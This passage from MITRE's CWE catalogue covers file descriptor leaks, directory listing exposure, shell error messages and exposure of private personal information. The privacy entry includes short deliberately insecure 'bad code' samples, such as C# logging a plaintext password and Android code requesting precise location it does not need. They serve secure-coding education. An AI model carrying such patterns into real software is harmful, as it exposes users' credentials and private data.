MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.399Resource Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Operating Systems

Class: Unix (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity

Technical Impact: Read Application Data; Modify Application Data

+ Observed Examples
ReferenceDescription
Server leaks a privileged file descriptor, allowing the server to be hijacked.
File descriptor leak allows read of restricted files.
Access to restricted resource using modified file descriptor for stderr.
Open file descriptor used as alternate channel in complex race condition.
Program does not fully drop privileges after creating a file descriptor, which allows access to the descriptor via a separate vulnerability.
User bypasses restrictions by obtaining a file descriptor then calling setuid program, which does not close the descriptor.
Terminal manager does not properly close file descriptors, allowing attackers to access terminals of other users.
Module opens a file for reading twice, allowing attackers to read files.
+ Affected Resources
  • System Process
  • File or Directory
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1403Comprehensive Categorization: Exposed Resource
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUNIX file descriptor leak
CERT C Secure CodingFIO42-CEnsure files are properly closed when they are no longer needed
Software Fault PatternsSFP23Exposed Data
+ References
[REF-392] Paul Roberts. "File descriptors and setuid applications". 2007-02-05. <https://blogs.oracle.com/paulr/entry/file_descriptors_and_setuid_applications>.
[REF-393] Apple. "Introduction to Secure Coding Guide". Elevating Privileges Safely. <https://developer.apple.com/library/archive/documentation/Security/Conceptual/SecureCodingGuide/Articles/AccessControl.html>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Affected_Resources, Observed_Examples, Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2013-02-21CWE Content TeamMITRE
updated Alternate_Terms, Description, Name, Observed_Examples, References
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Modes_of_Introduction, References, Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29UNIX File Descriptor Leak
2013-02-21Exposure of File Descriptor to Unintended Control Sphere

CWE-548: Exposure of Information Through Directory Listing

Weakness ID: 548
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A directory listing is inappropriately exposed, yielding potentially sensitive information to attackers.
+ Extended Description
A directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
Operation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Files or Directories

Exposing the contents of a directory can lead to an attacker gaining access to source code or providing useful information for the attacker to devise exploits, such as creation times of files or any information that may be encoded in file names. The directory listing may also compromise private or confidential data.
+ Potential Mitigations

Phases: Architecture and Design; System Configuration

Recommendations include restricting access to important directories or files by adopting a need to know requirement for both the document and server root, and turning off features such as Automatic Directory Listings that could expose private files and provide information that could be utilized by an attacker when formulating or conducting an attack.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.731OWASP Top Ten 2004 Category A10 - Insecure Configuration Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.933OWASP Top Ten 2013 Category A5 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1032OWASP Top Ten 2017 Category A6 - Security Misconfiguration
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
OWASP Top Ten 2004A10CWE More SpecificInsecure Configuration Management
WASC16Directory Indexing
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Other_Notes
2009-10-29CWE Content TeamMITRE
updated Description, Other_Notes
2009-12-28CWE Content TeamMITRE
updated Common_Consequences, Description
2010-02-16CWE Content TeamMITRE
updated Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Directory Listing
2020-02-24Information Exposure Through Directory Listing

CWE-535: Exposure of Information Through Shell Error Message

Weakness ID: 535
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A command shell error message indicates that there exists an unhandled exception in the web application code. In many cases, an attacker can leverage the conditions that cause these errors in order to gain unauthorized access to the system.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.211Externally-Generated Error Message Containing Sensitive Information
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
Anonymous Tool Vendor (under NDA)
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Name, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Information Leak Through Shell Error Message
2020-02-24Information Exposure Through Shell Error Message

CWE-359: Exposure of Private Personal Information to an Unauthorized Actor

Weakness ID: 359
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly prevent a person's private, personal information from being accessed by actors who either (1) are not explicitly authorized to access the information or (2) do not have the implicit consent of the person about whom the information is collected.
+ Extended Description

There are many types of sensitive information that products must protect from attackers, including system data, communications, configuration, business secrets, intellectual property, and an individual's personal (private) information. Private personal information may include a password, phone number, geographic location, personal messages, credit card number, etc. Private information is important to consider whether the person is a user of the product, or part of a data set that is processed by the product. An exposure of private information does not necessarily prevent the product from working properly, and in fact the exposure might be intended by the developer, e.g. as part of data sharing with other organizations. However, the exposure of personal private information can still be undesirable or explicitly prohibited by law or regulation.

Some types of private information include:

  • Government identifiers, such as Social Security Numbers
  • Contact information, such as home addresses and telephone numbers
  • Geographic location - where the user is (or was)
  • Employment history
  • Financial data - such as credit card numbers, salary, bank accounts, and debts
  • Pictures, video, or audio
  • Behavioral patterns - such as web surfing history, when certain activities are performed, etc.
  • Relationships (and types of relationships) with others - family, friends, contacts, etc.
  • Communications - e-mail addresses, private messages, text messages, chat logs, etc.
  • Health - medical conditions, insurance status, prescription records
  • Account passwords and other credentials

Some of this information may be characterized as PII (Personally Identifiable Information), Protected Health Information (PHI), etc. Categories of private information may overlap or vary based on the intended usage or the policies and practices of a particular industry.

Sometimes data that is not labeled as private can have a privacy implication in a different context. For example, student identification numbers are usually not considered private because there is no explicit and publicly-available mapping to an individual student's personal information. However, if a school generates identification numbers based on student social security numbers, then the identification numbers should be considered private.

+ Alternate Terms
Privacy violation
Privacy leak
Privacy leakage
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.200Exposure of Sensitive Information to an Unauthorized Actor
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignOMISSION: This weakness is caused by missing a security tactic during the architecture and design phase.
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

Technologies

Class: Mobile (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

The following code contains a logging statement that tracks the contents of records added to a database by storing them in a log file. Among other values that are stored, the getPassword() function returns the user-supplied plaintext password associated with the account.

(bad code)
Example Language: C# 
pass = GetPassword();
...
dbmsLog.WriteLine(id + ":" + pass + ":" + type + ":" + tstamp);

The code in the example above logs a plaintext password to the filesystem. Although many developers trust the filesystem as a safe storage location for data, it should not be trusted implicitly, particularly when privacy is a concern.

Example 2

This code uses location to determine the user's current US State location.

First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

(bad code)
Example Language: XML 
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

(bad code)
Example Language: Java 
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Example 3

In 2004, an employee at AOL sold approximately 92 million private customer e-mail addresses to a spammer marketing an offshore gambling web site [REF-338]. In response to such high-profile exploits, the collection and management of private data is becoming increasingly regulated.

+ Potential Mitigations

Phase: Requirements

Identify and consult all relevant regulations for personal privacy. An organization may be required to comply with certain federal and state regulations, depending on its location, the type of business it conducts, and the nature of any private data it handles. Regulations may include Safe Harbor Privacy Framework [REF-340], Gramm-Leach Bliley Act (GLBA) [REF-341], Health Insurance Portability and Accountability Act (HIPAA) [REF-342], General Data Protection Regulation (GDPR) [REF-1047], California Consumer Privacy Act (CCPA) [REF-1048], and others.

Phase: Architecture and Design

Carefully evaluate how secure design may interfere with privacy, and vice versa. Security and privacy concerns often seem to compete with each other. From a security perspective, all important operations should be recorded so that any anomalous activity can later be identified. However, when private data is involved, this practice can in fact create risk. Although there are many ways in which private data can be handled unsafely, a common risk stems from misplaced trust. Programmers often trust the operating environment in which a program runs, and therefore believe that it is acceptable store private information on the file system, in the registry, or in other locally-controlled resources. However, even if access to certain resources is restricted, this does not guarantee that the individuals who do have access can be trusted.

+ Detection Methods

Architecture or Design Review

Private personal data can enter a program in a variety of ways:

  • Directly from the user in the form of a password or personal information
  • Accessed from a database or other data store by the application
  • Indirectly from a partner or other third party

If the data is written to an external location - such as the console, file system, or network - a privacy violation may occur.

Effectiveness: High

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2547PK - Security Features
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.857The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.975SFP Secondary Cluster: Architecture
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1029OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1147SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1340CISQ Data Protection Measures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1345OWASP Top Ten 2021 Category A01:2021 - Broken Access Control
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Maintenance

This entry overlaps many other entries that are not organized around the kind of sensitive information that is exposed. However, because privacy is treated with such importance due to regulations and other factors, and it may be useful for weakness-finding tools to highlight capabilities that detect personal private information instead of system information, it is not clear whether - and how - this entry should be deprecated.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsPrivacy Violation
The CERT Oracle Secure Coding Standard for Java (2011)FIO13-JDo not log sensitive information outside a trust boundary
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-338] J. Oates. "AOL man pleads guilty to selling 92m email addies". The Register. 2005. <https://www.theregister.com/2005/02/07/aol_email_theft/>. URL validated: 2023-04-07.
[REF-339] NIST. "Guide to Protecting the Confidentiality of Personally Identifiable Information (SP 800-122)". 2010-04. <https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-122.pdf>. URL validated: 2023-04-07.
[REF-340] U.S. Department of Commerce. "Safe Harbor Privacy Framework". <https://web.archive.org/web/20010223203241/http://www.export.gov/safeharbor/>. URL validated: 2023-04-07.
[REF-341] Federal Trade Commission. "Financial Privacy: The Gramm-Leach Bliley Act (GLBA)". <https://www.ftc.gov/business-guidance/privacy-security/gramm-leach-bliley-act>. URL validated: 2023-04-07.
[REF-342] U.S. Department of Human Services. "Health Insurance Portability and Accountability Act (HIPAA)". <https://www.hhs.gov/hipaa/index.html>. URL validated: 2023-04-07.
[REF-343] Government of the State of California. "California SB-1386". 2002. <http://info.sen.ca.gov/pub/01-02/bill/sen/sb_1351-1400/sb_1386_bill_20020926_chaptered.html>.
[REF-267] Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001-05-25. <https://csrc.nist.gov/csrc/media/publications/fips/140/2/final/documents/fips1402.pdf>. URL validated: 2023-04-07.
[REF-172] Chris Wysopal. "Mobile App Top 10 List". 2010-12-13. <https://www.veracode.com/blog/2010/12/mobile-app-top-10-list>. URL validated: 2023-04-07.
[REF-1047] Wikipedia. "General Data Protection Regulation". <https://en.wikipedia.org/wiki/General_Data_Protection_Regulation>.
[REF-1048] State of California Department of Justice, Office of the Attorney General. "California Consumer Privacy Act (CCPA)". <https://oag.ca.gov/privacy/ccpa>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2009-03-10CWE Content TeamMITRE
updated Other_Notes
2009-07-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-12-28CWE Content TeamMITRE
updated Other_Notes, References
2010-02-16CWE Content TeamMITRE
updated Other_Notes, References
2011-03-29CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-09-13CWE Content TeamMITRE
updated Other_Notes, References
2012-05-11CWE Content TeamMITRE
updated Related_Attack_Patterns, Relationships, Taxonomy_Mappings
2013-02-21CWE Content TeamMITRE
updated Applicable_Platforms, References
2014-02-18CWE Content TeamMITRE
updated Alternate_Terms, Demonstrative_Examples, Description, Name, Other_Notes, References
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Modes_of_Introduction, References, Relationships
2018-03-27CWE Content TeamMITRE
updated Relationships
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Description, Detection_Factors, Maintenance_Notes, Name, Potential_Mitigations, References, Relationships, Type
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2021-10-28CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2014-02-18Privacy Violation
2020-02-24Exposure of Private Information ('Privacy Violation')

CWE-668: Exposure of Resource to Wrong Sphere

Weakness ID: 668
Vulnerability Mapping: DISCOURAGEDThis CWE ID should not be used to map to real-world vulnerabilities
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
